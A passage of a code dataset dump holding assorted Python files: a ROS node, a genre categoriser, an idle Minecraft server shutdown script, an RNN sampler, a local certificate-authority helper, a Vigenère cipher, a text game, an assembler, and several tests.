self.planet_pub.publish(QUERY_PLANET_EARTH)\n\n\ndef main():\n rospy.init_node(NODE_NAME)\n\n moon_presentations = str(\n rospy.get_param('~moon_presentations', 'Moon')\n ).split(';')\n mars_presentations = str(\n rospy.get_param('~mars_presentations', 'Mars')\n ).split(';')\n\n planet_pub = rospy.Publisher('/earth/query/planet', String, queue_size=10)\n\n planet_changer = PlanetChanger(\n moon_presentations,\n mars_presentations,\n planet_pub\n )\n\n rospy.Subscriber(\n '/director/presentation',\n GenericMessage,\n planet_changer.handle_presentation_msg\n )\n\n rospy.spin()\n\n\nif __name__ == '__main__':\n run_with_influx_exception_handler(main, NODE_NAME)\n","sub_path":"lg_earth/scripts/planet_changer.py","file_name":"planet_changer.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"225992090","text":"from collections import defaultdict\nimport re\nimport yaml\n\n\ngenre_yaml = '../dat/genre_v0.yaml'\nspotify_genre = '../dat/spotify_genre.bak'\nnew_genre_yaml = '../dat/genre_v1.yaml'\n\n\n# read from genre.yaml (approximates from spotify genre)\ngenre_dict = yaml.load(open(genre_yaml))\n\n# read from text file\nwith open(spotify_genre) as f:\n lines = map(lambda line: line.strip(), f.readlines())\n\n# start matching\nnew_genre_dict = defaultdict(list)\nc_match_pattern_template = '^(.*[\\ -])*{}([\\ -].*)*$' \np_match_pattern_template = '^.*{}.*$' \nfor line in sorted(lines):\n at_least_one_genre_match = False\n for genre_name, genre_pattern in genre_dict.iteritems():\n match_flag = False\n\n # complete match\n for c_genre_pattern in genre_pattern['complete']:\n c_match = re.match(c_match_pattern_template.format(c_genre_pattern), line)\n if c_match:\n match_flag = True\n \n # partial match\n for p_genre_pattern in genre_pattern['partial']:\n p_match = re.match(p_match_pattern_template.format(p_genre_pattern), line)\n if p_match:\n match_flag = True\n\n if match_flag:\n new_genre_dict[genre_name].append(line)\n at_least_one_genre_match = True\n # if match_flag is True, add genre \n if not at_least_one_genre_match:\n new_genre_dict['other'].append(line)\n\n# write new genre file\nwith open(new_genre_yaml, 'w') as wf:\n yaml.dump(dict(new_genre_dict), wf, default_flow_style=False)\n","sub_path":"src/generateGenreCategory.py","file_name":"generateGenreCategory.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"576447145","text":"#!/usr/bin/env python3\n\nimport logging\nimport os\nimport time\nimport re\n\nimport requests\n\nimport spot_tools.aws\nimport spot_tools.logger\nimport spot_tools.minecraft\n\nspot_tools.logger.setup_logging()\nLOGGER = logging.getLogger(__name__)\n\nGRACE_PERIOD = int(os.environ['GRACE_PERIOD'])\n\ndef mark_instance_for_removal():\n LOGGER.info('Marking intance for removal')\n\n client = spot_tools.aws.get_boto_client('autoscaling')\n\n instance_id = requests.get('http://169.254.169.254/latest/meta-data/instance-id').text\n instance_details = client.describe_auto_scaling_instances(InstanceIds=[instance_id])['AutoScalingInstances'][0]\n\n client.set_desired_capacity(\n AutoScalingGroupName=instance_details['AutoScalingGroupName'],\n DesiredCapacity=0,\n HonorCooldown=False,\n )\n\n#PLAYERS_RE = re.compile(r'There are (?P\\d*)/\\d* players online:')\nPLAYERS_RE = re.compile(r'There\\sare\\s(?P\\d*)')\ndef get_players():\n minecraft = spot_tools.minecraft.get_minecraft()\n if minecraft.status == \"exited\":\n return\n\n result = minecraft.exec_run('rcon-cli list')\n if result[0] != 0:\n return\n players_raw = result[1].decode('utf8')\n\n LOGGER.debug(players_raw)\n matches = PLAYERS_RE.match(players_raw)\n if matches is None:\n LOGGER.info(\"No match found\")\n LOGGER.debug(result)\n players = None\n else:\n players = int(matches.group('players'))\n return players\n\ndef main():\n player_last_seen = time.time()\n while True:\n time.sleep(10)\n\n players = get_players()\n LOGGER.info('{} players online'.format(players))\n\n if players is None:\n continue\n\n if players > 0:\n player_last_seen = time.time()\n continue\n\n seconds_since_player_last_seen = time.time() - player_last_seen\n LOGGER.info('{:.0f} seconds since last player seen'.format(seconds_since_player_last_seen))\n\n if seconds_since_player_last_seen >= GRACE_PERIOD:\n mark_instance_for_removal()\n break\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tools/bin/check_players.py","file_name":"check_players.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"115545595","text":"import sys\nimport argparse\n\nimport tensorflow as tf\nimport numpy as np\n\nfrom rnn_model import restore_graph_vars\nfrom preprocessing import clean_doc\n\ndef sample_from_model(model_vars, data_maps, config):\n \n char_to_ind = data_maps['char_to_ind']\n ind_to_char = data_maps['ind_to_char']\n \n num_layers = model_vars['test_state_placeholder'].shape[0].value\n cell_hidden_size = model_vars['test_state_placeholder'].shape[3].value\n vocab_size = model_vars['test_logits'].shape[1].value\n \n result = [char for char in config['prime']]\n\n cell_states_ = np.zeros((num_layers, 2, 1, cell_hidden_size))\n\n for i in range(len(config['prime'])):\n\n feed = { model_vars['test_input'] : [char_to_ind[config['prime'][i]]], model_vars['test_state_placeholder'] : cell_states_}\n\n cell_states_ = sess.run(model_vars['test_cell_states'], feed_dict=feed)\n\n cur_char = char_to_ind[' '] if config['prime'] == '' else char_to_ind[config['prime'][-1]] \n\n for i in range(config['char_count']):\n\n feed = { model_vars['test_input'] : [cur_char], model_vars['test_state_placeholder'] : cell_states_}\n\n logits, cell_states_ = sess.run([model_vars['test_logits'], model_vars['test_cell_states'] ], feed_dict=feed)\n \n logits *= config['multiplier']\n\n probs = np.exp(logits) / np.sum(np.exp(logits), axis=1)\n probs = probs[0]\n \n cur_char = np.random.choice(vocab_size, 1, False, probs)[0]\n\n result.append(ind_to_char[cur_char])\n\n with open(config['output_file'], mode='w+') as file:\n file.write(''.join(result))\n \n \ndef parse_args():\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--char_count', type=int, default=1500)\n parser.add_argument('--multiplier', type=float, default=1.0) \n parser.add_argument('--prime', default='')\n parser.add_argument('--output_file', '--out', default='out.txt')\n\n parser.add_argument('--corpus_path', required=True)\n parser.add_argument('--restore_path', required=True)\n\n args = parser.parse_args()\n\n config = {}\n \n config['char_count'] = args.char_count\n config['restore_path'] = args.restore_path\n config['output_file'] = args.output_file\n config['multiplier'] = args.multiplier\n config['output_file'] = args.output_file\n config['prime'] = args.prime\n config['corpus_path'] = args.corpus_path\n\n return config\n\n\ndef get_data_maps(config):\n return clean_doc(config['corpus_path'])[1:] \n \n \ndef get_model_vars(sess, config):\n \n model_vars = restore_graph_vars(sess, training=False, config=config)\n \n return model_vars\n\n\nif __name__ == '__main__':\n \n config = parse_args() \n \n data_maps = {}\n data_maps['char_to_ind'], data_maps['ind_to_char'] = get_data_maps(config)\n\n tf.reset_default_graph()\n\n with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n model_vars = get_model_vars(sess, config)\n sample_from_model(model_vars, data_maps, config)\n","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"460830025","text":"# Internal certificate authority\nfrom certauth.certauth import CertificateAuthority\nimport json\nimport os\nimport sys\n\ndef split_certs(cert_data):\n\t\"\"\"Splits private key and certificate...\"\"\"\n\n\tprivate_key_start_index = cert_data.find(\"-----BEGIN PRIVATE KEY-----\")\n\tprivate_key_end_index = cert_data.find(\"-----END PRIVATE KEY-----\")\n\tprivate_key = cert_data[private_key_start_index:private_key_end_index + 25]\n\tcert = cert_data[private_key_end_index + 26:]\n\n\treturn private_key, cert\n\ndef generate_certs(host, w):\n\t\"\"\"Generates private.key, cert.crt, and ca-bundle.crt...\"\"\"\n\n\tWORKDIR = \"/\".join(__file__.split(\"/\")[:-1])\n\n\twith open (WORKDIR + \"/config.json\", \"r\") as config_file:\n\t\tCONFIG = json.load(config_file)\n\n\tpath = \".\"\n\n\tca = CertificateAuthority(CONFIG[\"CERT_AUTH_NAME\"], \n\t\t\t\t\t\t\t CONFIG[\"CERT_AUTH_ROOT_FILE\"],\n\t\t\t\t\t\t\t cert_cache=path)\n\n\tcert, key = ca.load_cert(host, wildcard=w)\n\n\t## Extract root CA and host private keys and certificates from pem files ##\n\twith open(CONFIG[\"CERT_AUTH_ROOT_FILE\"], \"r\") as py_ca_file:\n\t\tpy_ca_data = \"\".join(py_ca_file.readlines())\n\tca_private_key, ca_root_cert = split_certs(py_ca_data)\n\twith open(path + \"/\" + host + \".pem\", \"r\") as host_file:\n\t\thost_data = \"\".join(host_file.readlines())\n\thost_private_key, host_cert = split_certs(host_data)\n\n\t## Output certificates to host folder ##\n\twith open(path + \"/ca.crt\", \"w+\") as py_ca_root_cert_file:\n\t\tpy_ca_root_cert_file.write(ca_root_cert)\n\tprint(f\"Generating \" + path + \"/ca_bundle.crt\")\n\n\twith open(path + \"/private.key\", \"w+\") as host_private_key_file:\n\t\thost_private_key_file.write(host_private_key)\n\tprint(f\"Generating \" + path + \"/private.key\")\n\n\twith open(path + \"/cert.crt\", \"w+\") as host_cert_file:\n\t\thost_cert_file.write(host_cert)\n\tprint(f\"Generating \" + path + \"/cert.crt\")\n\n\twith open(path + \"/domain-cert.crt\", \"w+\") as concat_cert_file:\n\t\tconcat_cert_file.write(ca_root_cert + host_cert)\n\tprint(f\"Generating \" + path + \"/concat.crt\")\n\n\tprint(\"Finished!\")\n\ndomain = sys.argv[1]\nwildcard = None\n\nif domain[0] == \"*\":\n\twildcard = True\nelse:\n\twildcard = False\n\nprint(f\"Generating certificates with pyCertificate Authority for {domain} using wildcard {wildcard}\")\ngenerate_certs(domain, wildcard)\n","sub_path":"scripts/pyca/ca.py","file_name":"ca.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"253859335","text":"from cs50 import get_string\nimport sys\nargv = sys.argv\n\n# If the number of command-line arguments isn't three , then finish the program.\nif len(argv) != 2:\n print(\"Usage: python caesar.py k\")\n sys.exit(1)\n\n\n# 全ての文字が英字でない場合は強制終了\nif argv[1].isalpha() is not True:\n print(\"Usage: python caesar.py k\")\n sys.exit(1)\n\n# input plaintext\nplain = get_string(\"plaintext: \")\ntextLen = len(plain)\n\n# keyの準備\nkey = 0\nkeyText = argv[1].upper() # key文字列を大文字にして変数keyTextに格納\nkeyCount = 0\nkeyLen = len(keyText)\nkeyNum = 0\n\n# create cipher text\ncipherText = \"\"\nfor i in range(textLen):\n # keyの設定\n keyNum = keyCount % keyLen\n key = ord(keyText[keyNum]) - ord('A')\n\n # 変換前後のAscii値を変数に格納\n preAscii = ord(plain[i]) # ''で囲むと文字列と認識される点に注意\n newAscii = ord(plain[i])\n\n # 文字が大文字である場合の処理\n if ord('A') <= preAscii <= ord('Z'):\n newAscii = (preAscii + key - ord('A')) % 26 + ord('A')\n # print(\"uppercase\")\n # keyCountを次に進める\n keyCount += 1\n\n # 文字が小文字である場合の処理\n if ord('a') <= preAscii <= ord('z'):\n newAscii = (preAscii + key - ord('a')) % 26 + ord('a')\n # print(\"lowercase\")\n # keyCountを次に進める\n keyCount += 1\n\n # 変換処理後の文字をcipehrtextに追加\n cipherText += chr(newAscii)\n\n# ciphertextを出力\nprint(\"ciphertext:\", cipherText)\n","sub_path":"Shinpei2-cs50-2019-x-sentimental-vigenere-20190725T174413Z/vigenere.py","file_name":"vigenere.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"435253852","text":"import random\n\n# Function for the actual thing.\n\n\ndef approaching_acorn_pile():\n print(\"APROACHING AN ACORN PILE\")\n print(\"---------------------------\")\n loop = True\n while loop:\n choice = input(\"\"\"You're walking through the Forest of Kloa,\nand you come across a small pile of acorns (they seem to be twitching).\nHow should you approach this?:\nA: Shout at the pile of acorns, 'Is anyone there?'\nB: Say quietly to the pile of acorns, 'Is anyone there?'\nC: Poke the pile of acorns with your finger\nD: Poke the acorn pile with a stick\nE: Ask the pile 'Are you an acorn sprite?'\nF: Throw a rock at the acorns\nG: Tickle the acorn pile with a stick\nH: Chop an acorn in half\nI: Step on an acorn\nJ: Ignore the acorn pile\n\"\"\")\n choice = choice.capitalize()\n\n if choice == \"A\":\n acorn_pile_choice_a()\n loop = False\n\n elif choice == \"B\":\n acorn_pile_choice_b()\n loop = False\n\n elif choice == \"C\":\n acorn_pile_choice_c()\n loop = False\n\n elif choice == \"D\":\n acorn_pile_choice_d()\n loop = False\n\n elif choice == \"E\":\n acorn_pile_choice_e()\n loop = False\n\n elif choice == \"F\":\n acorn_pile_choice_f()\n loop = False\n\n elif choice == \"G\":\n acorn_pile_choice_g()\n loop = False\n\n elif choice == \"H\":\n acorn_pile_choice_h()\n loop = False\n\n elif choice == \"I\":\n acorn_pile_choice_i()\n loop = False\n\n elif choice == \"J\":\n acorn_pile_choice_j()\n loop = False\n\n print(\"\")\n print(\"SCENARIO ENDED\")\n\n# Function for choice A:\n\n\ndef acorn_pile_choice_a():\n loop = False\n print(\"\"\"(You hear a shreik from the acorn pile as an angry acorn\nmonster rises from the pile, and you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice B:\n\n\ndef acorn_pile_choice_b():\n loop = False\n print(\"\"\"(You hear a loud growl from the acorn pile as\nan angry acorn monster rises from the pile, and you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice C:\n\n\ndef acorn_pile_choice_c():\n rng = random.randint(1, 4)\n loop = False\n if rng == 1:\n print(\"\"\"(While walking over to poke the acorn with your finger,\nyou accidently step on an acorn, then you hear a loud shreik from the acorn\npile as an angry acorn monster rises from the pile,\nand you initiate combat)\"\"\")\n else:\n print(\"\"\"(You poke the acorn pile with your finger,\nand you hear a loud squeak from the acorn pile, and a passive acorn rises\nlooking angry, then tranforms into a hostile acorn monster\nand you initiate in combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice D:\n\n\ndef acorn_pile_choice_d():\n rng = random.randint(1, 4)\n loop = False\n if rng == 1:\n print(\"\"\"(While walking over to poke the acorn with a stick,\nyou accidently step on an acorn, then you hear a loud shreik from the acorn\npile as an angry acorn monster rises from the pile,\nand you initiate combat)\"\"\")\n else:\n print(\"\"\"(You poke the acorn pile with a stick, and you hear a\nquiet squeak from the acorn pile, and a passive acorn rises looking angry,\nthen tranforms into a hostile acorn monster and you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice E:\n\n\ndef acorn_pile_choice_e():\n loop = False\n print(\"\"\"(You hear an angry sqeaky voice say 'yes',\nand you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice F:\n\n\ndef acorn_pile_choice_f():\n loop = False\n print(\"\"\"(You hear a loud growl from the acorn pile as an angry acorn\nmonster rises from the pile, and you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice G:\n\n\ndef acorn_pile_choice_g():\n loop = False\n print(\"\"\"(You go over and tickle the acorn pile with a stick,\nand you hear a little giggle from the acorn pile. An adorable passive acorn\nrises from the pile and says, 'You must be an ally,\nyou figured out how to approach us carefully!)\"\"\")\n rng = random.randint(1, 100)\n if rng == 1:\n print(\"\"\"(The acorn offers you a pile of acorns, and in it,\nyou see a shiny blue acorn!) This is a blue acorn it shows that you are\ntrustorthy, show it to any member of my kind\nand they will instantly trust you!\"\"\")\n blueacorn = True\n if not blueacorn:\n print(\"\")\n else:\n print(\"(The acorn offers you a small pile of acorns!)\")\n if loop:\n print(\"\")\n\n\n# Function for choice H:\n\n\ndef acorn_pile_choice_h():\n loop = False\n print(\"\"\"(You decide to chop an acorn in half, and before\nyou even shop the acorn,\nyou hear a shreik from the acorn pile as an angry acorn monster rises\nfrom the pile, and you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice I:\n\n\ndef acorn_pile_choice_i():\n loop = False\n print(\"\"\"You step on an acorn, and you hear a loud shreik from the\nacorn pile as an angry acorn monster rises from the pile,\nand you initiate combat)\"\"\")\n if loop:\n print(\"\")\n\n\n# Function for choice J:\n\n\ndef acorn_pile_choice_j():\n loop = False\n print(\"(You ignore the acorn pile and go on your way)\")\n if loop:\n print(\"\")\n\n# Playing the actual thing\n\n\napproaching_acorn_pile()\n","sub_path":"a_scenario/approaching_an_acorn_pile/approaching_acorn_pile.py","file_name":"approaching_acorn_pile.py","file_ext":"py","file_size_in_byte":5368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"346406809","text":"\"\"\"sanic默认的app构造组件.\n\n组件名字会被改为项目名.\n\n注册模块组件使用`xxx.init_app(app)`;\n\n使用数据库组件放在hooks模块中在启动项目时挂载\n\"\"\"\nfrom sanic import Sanic\nfrom api import restapi\nfrom hooks import hooks\nfrom exception import excep\nfrom const import SERVICE_NAME\nfrom log import (\n LOGGING_CONFIG_JSON,\n set_mail_log\n)\n\n\ndef init_app(config):\n log_config = None\n if config[\"SET_LOG_FMT\"] == \"json\":\n log_config = LOGGING_CONFIG_JSON\n app = Sanic(SERVICE_NAME, log_config=log_config)\n app.config.update(\n config\n )\n if app.config.SET_LOG_MAIL_LOG is True:\n set_mail_log(app)\n restapi.init_app(app)\n hooks.init_app(app)\n excep.init_app(app)\n return app","sub_path":"metadata_center/metadata_center.py","file_name":"metadata_center.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"110681518","text":"import Parser, Code, SymbolTable, sys\nfrom util import to_binary\n\nclass Assembler:\n \"\"\" Assembler module \"\"\"\n\n def __init__(self, lines_in, file_out):\n self.lines_in = lines_in\n self.file_out = file_out\n self.symbol_table = SymbolTable.SymbolTable()\n # The first available address in symbol table is 16\n self.symbol_address = 16\n\n def parse_l_commands(self):\n '''\n First pass: build the symbol table with ROM addresses.\n '''\n parser = Parser.Parser(self.lines_in)\n idx = 0\n while parser.has_more_commands():\n parser.advance()\n if parser.commandType() == parser.L_COMMAND:\n self.symbol_table.addEntry(parser.symbol(), idx)\n elif parser.commandType() in [parser.A_COMMAND, parser.C_COMMAND]:\n idx += 1\n\n def parse_ac_commands(self):\n '''\n Second pass: generate binary codes for A/C instructions.\n '''\n parser = Parser.Parser(self.lines_in)\n translator = Code.Code()\n start_line = True\n while parser.has_more_commands():\n parser.advance()\n if parser.commandType() in [parser.A_COMMAND, parser.C_COMMAND]:\n # For A instructions:\n if parser.commandType() == parser.A_COMMAND:\n line = self.translate_a(parser)\n # For C instructions:\n else:\n line = \"111\" + translator.comp(parser.comp()) \\\n + translator.dest(parser.dest()) + translator.jump(parser.jump())\n # Write the binary code to the output file\n if not start_line:\n self.file_out.write(\"\\n\" + line)\n else:\n self.file_out.write(line)\n start_line = False\n\n def translate_a(self, parser):\n '''\n Generate binary codes for A instructions.\n '''\n assert(parser.commandType() == parser.A_COMMAND)\n smb = parser.symbol()\n if not smb.isdigit():\n if not self.symbol_table.contains(smb):\n self.symbol_table.addEntry(smb, self.symbol_address)\n self.symbol_address += 1\n smb = self.symbol_table.getAddress(smb)\n return \"0\" + to_binary(smb).zfill(15)\n\n def assemble(self):\n ''' Put it all together '''\n self.parse_l_commands()\n self.parse_ac_commands()\n\n\nif __name__ == \"__main__\":\n\n file_in = \"\"\n\n for arg in sys.argv[1:]:\n # Only takes file names ending with \".asm\" as valid input file names.\n if arg.endswith(\".asm\"):\n # If the command line arguments contain multiple file names ending with \".asm\",\n # use the first one as the input file.\n if len(file_in) == 0:\n file_in = arg\n else:\n print(\"Warning: You put in more than one name ending with '.asm'. Only the first file is going to be processed.\")\n\n if len(file_in) == 0:\n print(\"Error: No proper input file name found. Please use a file name ending with '.asm'.\")\n sys.exit()\n\n # If the input file cannot be found, print an error and exit the program.\n try:\n fi = open(file_in)\n except:\n print(\"Error: The input file is not found. Please verify that the path is valid.\")\n sys.exit()\n\n lines_in = fi.readlines()\n fi.close()\n file_out = open(file_in.replace('.asm', '.hack'), 'w')\n\n assembler = Assembler(lines_in, file_out)\n assembler.assemble()\n file_out.close()","sub_path":"06/src/Assembler.py","file_name":"Assembler.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"455672905","text":"import numpy as np\nfrom sklearn.svm import SVR\nimport matplotlib.pyplot as plt\n\n# Generating sample data\nX = np.sort(5 * np.random.rand(40, 1), axis=0)\ny = np.sin(X).ravel()\n\n# Fitting the regression model\nsvr_rbf = SVR(kernel='rbf', C=1e3, gamma=0.1)\nsvr_lin = SVR(kernel='linear', C=1e3)\nsvr_poly = SVR(kernel='poly', C=1e3, degree=2)\ny_rbf = svr_rbf.fit(X, y).predict(X)\ny_lin = svr_lin.fit(X, y).predict(X)\ny_poly = svr_poly.fit(X, y).predict(X)\n\n\n# Results of Linear, Radial and Polynomial regression\nlw = 2\nplt.show()\nplt.scatter(X, y, color='black', label='data')\nplt.plot(X, y_rbf, color='red', lw=1, label='RBF Model')\nplt.plot(X, y_lin, color='c', lw=lw, linestyle='-', label='Linear')\nplt.plot(X, y_poly, color='navy', lw=lw, linestyle='--', label='Polynomial')\nplt.xlabel('data')\nplt.ylabel('target')\nplt.title('Support Vector Regression')\nplt.legend()\nplt.show()\n\n\n\n\n","sub_path":"SVR(Support Vector Machine)/SVR.py","file_name":"SVR.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"411581754","text":"import random\n\nfrom intervaltree import IntervalTree\n\n\ndef test_adding_speed():\n base_tree = IntervalTree()\n l_bound = 0\n u_bound = 10000\n random.seed(10)\n for i in range(1000000):\n start = random.randint(l_bound, u_bound - 1)\n end = random.randint(start + 1, u_bound)\n base_tree.addi(start, end)\n","sub_path":"test/new_method_tests/speed_testing.py","file_name":"speed_testing.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"637752529","text":"# pylint: disable=R0201, C0103\n\nfrom . import utils\n\nINIT = utils.test_init\nEND = utils.test_end\nAST = utils.my_ast\n\nprintc = utils.printc\n\n\nclass TestUnaryOp(utils.TestCase):\n\n def setUp(self):\n self.DV = AST.DimensionVisitor()\n\n def test_plus(self):\n INIT(self, '+a')\n self.DV.predefined['a'] = AST.Token((2, 3))\n\n node = AST.parse('+a')\n self.DV.visit(node)\n\n self.assertDimEqual(self.DV.result[node], AST.Token((2, 3)))\n\n END()\n","sub_path":"server/tests/test_uniOp.py","file_name":"test_uniOp.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"613555289","text":"import json\nimport pandas as pd\nfrom collections import OrderedDict\nfrom django.http import HttpResponse, JsonResponse\nfrom django.template.loader import render_to_string\nfrom tworaven_apps.utils.view_helper import \\\n (get_request_body_as_json,\n get_json_error,\n get_json_success)\nfrom tworaven_apps.eventdata_queries.dataverse.dataverse_file_upload import DataverseFileUpload\nfrom tworaven_apps.utils.basic_response import (ok_resp,\n err_resp,\n err_resp_with_data)\n\nclass GenerateReadMe(object):\n\n def __init__(self, query_obj):\n \"\"\" generate the read me \"\"\"\n print(\"generate the read me\")\n print(query_obj['name'], query_obj['id'])\n self.query_obj = query_obj\n\n def generate_readme(self):\n\n info = dict(query_info=self.query_obj)\n readme_string = render_to_string('eventdata_readme.md',\n info)\n file_name = '%s_%s.md' % (str(self.query_obj['id']), str(self.query_obj['collection_name']))\n readme_dict = dict(file_content=readme_string)\n file_uploader = DataverseFileUpload(file_name, **readme_dict)\n if file_uploader.has_error():\n # do something; tell user\n return\n\n succ, res_obj = file_uploader.return_status()\n if not succ:\n return\n\n return ok_resp(res_obj)\n # try:\n # readme_string = ' EVENTDATA README \\n'\\\n # '----------------------- \\n' \\\n # '----------------------- \\n'\\\n # 'Username : %s \\n' \\\n # '----------------------- \\n' \\\n # 'Description : %s \\n' \\\n # '----------------------- \\n' \\\n # 'Created : %s \\n' \\\n # '----------------------- \\n' \\\n # 'Collection Name : %s \\n' \\\n # '----------------------- \\n'\\\n # 'Query : %s \\n'\\\n # '\\n'\\\n # '----------------------- \\n' \\\n # '----------------------- \\n' % (self.query_obj['username'],\n # self.query_obj['description'],\n # self.query_obj['created'],\n # str(self.query_obj['collection_name']),\n # json.dumps(self.query_obj['query']))\n # except ValueError:\n # return err_resp('error in data provided %s' % self.query_obj)\n\n # return ok_resp(readme_string)\n\n\n\"\"\"\npython manage.py shell\nfrom tworaven_apps.eventdata_queries.models import (EventDataSavedQuery, ArchiveQueryJob)\nfrom tworaven_apps.eventdata_queries.generate_readme import GenerateReadMe\n\nq = EventDataSavedQuery.objects.first()\ngrm = GenerateReadMe(q)\nprint(grm.generate_readme())\n\"\"\"","sub_path":"tworaven_apps/eventdata_queries/generate_readme.py","file_name":"generate_readme.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"121734046","text":"from gift import Gift\n\nclass Utility(Gift) :\n\t'defines a Utility gift'\n\tdef __init__(self,name,price,value,types,utilval,utilclass):\n\t\t'initialises attributes of Utility class'\n\t\tGift.__init__(self,name,price,value,types)\n\t\tself.utilval = utilval\n\t\t\"\"\"@ivar: utility class.\"\"\"\n\t\tself.utilclass = utilclass\n\t\t\"\"\"@ivar: utility value.\"\"\"\n","sub_path":"q5/source/utilityGift.py","file_name":"utilityGift.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"338909123","text":"# -*- coding: utf-8 -*-\nfrom Products.CMFPlone.utils import safe_unicode\nfrom datetime import datetime\nfrom plone.app.contenttypes.migration.migration import migrate_filefield\nfrom plone.app.contenttypes.migration.migration import migrate_imagefield\nfrom plone.app.contenttypes.migration.migration import migrate_simplefield\nfrom plone.app.contenttypes.migration.utils import installTypeIfNeeded\nfrom plone.app.contenttypes.testing import \\\n PLONE_APP_CONTENTTYPES_MIGRATION_TESTING\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import setRoles\n\nimport pytz\nimport os.path\nimport unittest2 as unittest\n\n\nclass MigrateFieldsTest(unittest.TestCase):\n\n layer = PLONE_APP_CONTENTTYPES_MIGRATION_TESTING\n\n def setUp(self):\n self.portal = self.layer['portal']\n self.request = self.layer['request']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n\n def tearDown(self):\n try:\n applyProfile(self.portal, 'plone.app.contenttypes:uninstall')\n except KeyError:\n pass\n\n def get_test_image_data(self):\n test_image_path = os.path.join(os.path.dirname(__file__), 'image.png')\n with open(test_image_path, 'rb') as test_image_file:\n test_image_data = test_image_file.read()\n return test_image_data\n\n def get_test_file_data(self):\n test_file_path = os.path.join(os.path.dirname(__file__), 'file.pdf')\n with open(test_file_path, 'rb') as test_file:\n test_file_data = test_file.read()\n return test_file_data\n\n def test_migrate_stringfield(self):\n # create content\n at_document_id = self.portal.invokeFactory('Document',\n 'foo',\n title=\"Foo document\")\n # register p.a.contenttypes profile\n applyProfile(self.portal, 'plone.app.contenttypes:default')\n dx_document_id = self.portal.invokeFactory('Document',\n 'bar',\n title=\"Bar document\")\n at_document = self.portal[at_document_id]\n dx_document = self.portal[dx_document_id]\n migrate_simplefield(at_document, dx_document, 'title', 'title')\n self.assertEqual(dx_document.Title(), at_document.Title())\n\n def test_migrate_richtextfield(self):\n # create content\n at_document_id = self.portal.invokeFactory('Document',\n 'foo',\n title=\"Foo document\",\n text=\"Some foo html text\")\n # register p.a.contenttypes profile\n applyProfile(self.portal, 'plone.app.contenttypes:default')\n dx_document_id = self.portal.invokeFactory('Document',\n 'bar',\n title=\"Bar document\")\n at_document = self.portal[at_document_id]\n dx_document = self.portal[dx_document_id]\n self.assertEqual(dx_document.text, None)\n migrate_simplefield(at_document, dx_document, 'text', 'text')\n self.assertEqual(dx_document.text, at_document.getText())\n\n def test_migrate_listfield(self):\n # create content\n at_document_id = self.portal.invokeFactory('Document',\n 'foo',\n title=\"Foo document\",\n subject=['aaa', 'bbb'])\n # register p.a.contenttypes profile\n applyProfile(self.portal, 'plone.app.contenttypes:default')\n dx_document_id = self.portal.invokeFactory('Document',\n 'bar',\n title=\"Bar document\")\n at_document = self.portal[at_document_id]\n dx_document = self.portal[dx_document_id]\n migrate_simplefield(at_document, dx_document, 'subject', 'subject',)\n self.assertEqual(dx_document.Subject(), at_document.Subject())\n\n def test_migrate_imagefield(self):\n test_image_data = self.get_test_image_data()\n at_newsitem_id = self.portal.invokeFactory(\n 'News Item',\n 'foo',\n title=\"Foo news\",\n image=test_image_data)\n # register p.a.contenttypes profile\n applyProfile(self.portal, 'plone.app.contenttypes:default')\n dx_newsitem_id = self.portal.invokeFactory(\n 'News Item',\n 'bar',\n title=\"Bar news\")\n at_newsitem = self.portal[at_newsitem_id]\n dx_newsitem = self.portal[dx_newsitem_id]\n self.assertEqual(dx_newsitem.image, None)\n migrate_imagefield(at_newsitem, dx_newsitem, 'image', 'image')\n self.assertEqual(dx_newsitem.image.contentType, 'image/png')\n self.assertEqual(dx_newsitem.image.data, test_image_data)\n\n def test_migrate_filefield(self):\n test_file_data = self.get_test_file_data()\n at_file_id = self.portal.invokeFactory('File',\n 'foo',\n title=\"Foo file\",\n file=test_file_data)\n # register p.a.contenttypes profile\n applyProfile(self.portal, 